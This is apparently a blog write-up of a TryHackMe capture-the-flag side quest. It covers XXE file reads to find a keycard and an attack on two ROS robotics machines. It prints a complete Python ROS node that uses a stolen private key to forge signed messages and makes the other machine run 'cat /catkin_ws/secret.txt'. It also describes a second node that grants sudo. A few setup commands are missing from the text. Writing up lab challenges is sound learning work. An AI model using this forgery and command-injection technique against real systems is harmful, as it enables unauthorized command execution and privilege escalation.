Advent of Cyber Side Quest (Part 2)

Part deux of the TryHackMe Advent of Cyber Side Quest! See Part 1 for context.

The Keycard

On the 5th day of the Advent there were people posting in Discord about finding the T2 keycard, so that was a pretty obvious indication that it was available to be found, unless they were trolling.

The main quest challenged involved XXE (XML eXternal Entity) attacks, so it was rather frustrating fishing around the filesystem looking for the keycard. Eventually I used XXE to return the contents of /proc/net/tcp which reveals, in a numeric encoding, what’s listening on which port. This showed that something was listening on port 8080, which was interesting because nmap didn’t show that port as open from the outside.

The machine was also running phpmyadmin, which I spent a long time trying to pwn, but the only writeable directory that phpmyadmin had access to was outside the webroot. At long last, some further XXE’ing revealed that there was an Apache2 access log at localhost:8080/access.log which contained a strange path: /k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png which, perhaps obviously, was the keycard.

Running the two yin and yang machines was initially confusing because I’d never done this Side Quest event before and I seemingly couldn’t reach the machines. nmap eventually revealed that only :21337 was accessible, and browsing to that I understood: It was simulating that the servers had been pwned by the Frosty Five characters, and this was the ransomware page. After rooting the boxes I was later able to determine that the password from the keycard causes the flask app that runs the ransomware page to simply change the firewall rules to allow the box to function “normally”.

Yin and Yang

This was a really interesting room. There are two machines to run, Yin and Yang, and each is running a robotics platform called ROS which I had never heard of before this day. There was some language in the challenge description about how each machine needs the other, so I assumed (correctly, as it turned out) that you’d have to sort of pivot back and forth between the machines. It took a lot of reading before I finally understood wtf was going on, but the key insights were in each machine under /catkin_ws/ where each machine had a start script. What was immediately apparent was that each machine was supposed to be sending different data to the other, and each machine was validating/responding to the data differently.

ROS works a little bit like mqtt, in that it’s a pub-sub message bus, so you can inspect the bus with rostopic but the network graph wasn’t connected properly. There needed to be a master node to which both machines would run. So, it was necessary to do the following:

On yin:

On yang:

That got me yin’s private key, which I could then use to write a malicious node, that would forge pings from yin to yang, asking yang to echo the contents of secret.txt which is the “service shared secret” that yin verifies. Getting secret.txt allows us to forge messages from yang back to yin.

  #RUN THIS ON YIN

  #!/usr/bin/python3

  import rospy
  import base64
  import codecs
  import os
  from std_msgs.msg import String
  from yin.msg import Comms
  from yin.srv import yangrequest
  import hashlib
  from Cryptodome.Signature import PKCS1_v1_5
  from Cryptodome.PublicKey import RSA
  from Cryptodome.Hash import SHA256

  class Attacker:
      def __init__(self):
        
	  self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)

        
	  #Read the message channel private key
	  pwd = b'secret'
	  with open('/home/yin/yin-privkey.pem', 'rb') as f:
	      data = f.read()
	      self.priv_key = RSA.import_key(data,pwd)

	  self.priv_key_str = self.priv_key.export_key().decode()

	  rospy.init_node('attacker')

	  self.prompt_rate = rospy.Rate(0.5)

	  Read the service secret
	  with open('/catkin_ws/secret.txt', 'r') as f:
	      data = f.read()
	      self.secret = data.replace('\n','')


	  # does this need edited??
	  self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)

      def handle_yang_request(self, req):
        
	  response = "Action performed"
	  return response

      def getBase64(self, message):
	  hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
	  hmac += "."
	  hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
	  hmac += "."
	  hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
	  hmac += "."
	  hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
	  hmac += "."
	  hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
	  hmac += "."
	  hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
	  return hmac

      def getSHA(self, hmac):
	  m = hashlib.sha256()
	  m.update(hmac.encode())
	  return str(m.hexdigest())  

      #This function will craft the signature for the message based on the specific system being talked to
      def sign_message(self, message):
	  hmac = self.getBase64(message)
	  hmac = SHA256.new(hmac.encode('utf-8'))
	  signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
	  sig = base64.b64encode(signature).decode()
	  message.hmac = sig
	  return message

      def craft_ping(self, receiver):
	  message = Comms()
	  message.timestamp = str(rospy.get_time())
	  message.sender = "Yin"
	  message.receiver = "Yang"
	  message.action = 1
	  message.actionparams = ['cat /catkin_ws/secret.txt']
	  #message.actionparams.append(self.priv_key_str)
	  message.feedback = "ACTION"
	  message.hmac = ""
	  return message

      def send_pings(self):
	  # Yang
	  message = self.craft_ping("Yang")
	  message = self.sign_message(message)
	  self.messagebus.publish(message)

      def run_attacker(self):
	  while not rospy.is_shutdown():
	      self.send_pings()
	      self.prompt_rate.sleep()

  if __name__ == '__main__':
      try:
	  attacker = Attacker()
	  attacker.run_attacker()

      except rospy.ROSInterruptException:
	  pass

And with that, we learn that the shared secret is thisisasecretvaluethatyouwillneverguess. Furthermore we can edit message.actionparams to list the contents of /root where we discover the flag, and then we can edit the action params a second time to echo the contents of the flag back to us.

A second malicious node

To get the flag off the yin machine, I used the shared secret to write a second malicious node to be run on yang, which performs more or less the same attack, except instead of echoing the flag I added the yin account to sudoers for all commands so I could simply cd into the directory and read the flag directly.

That was really interesting and fun! Onto Task 3!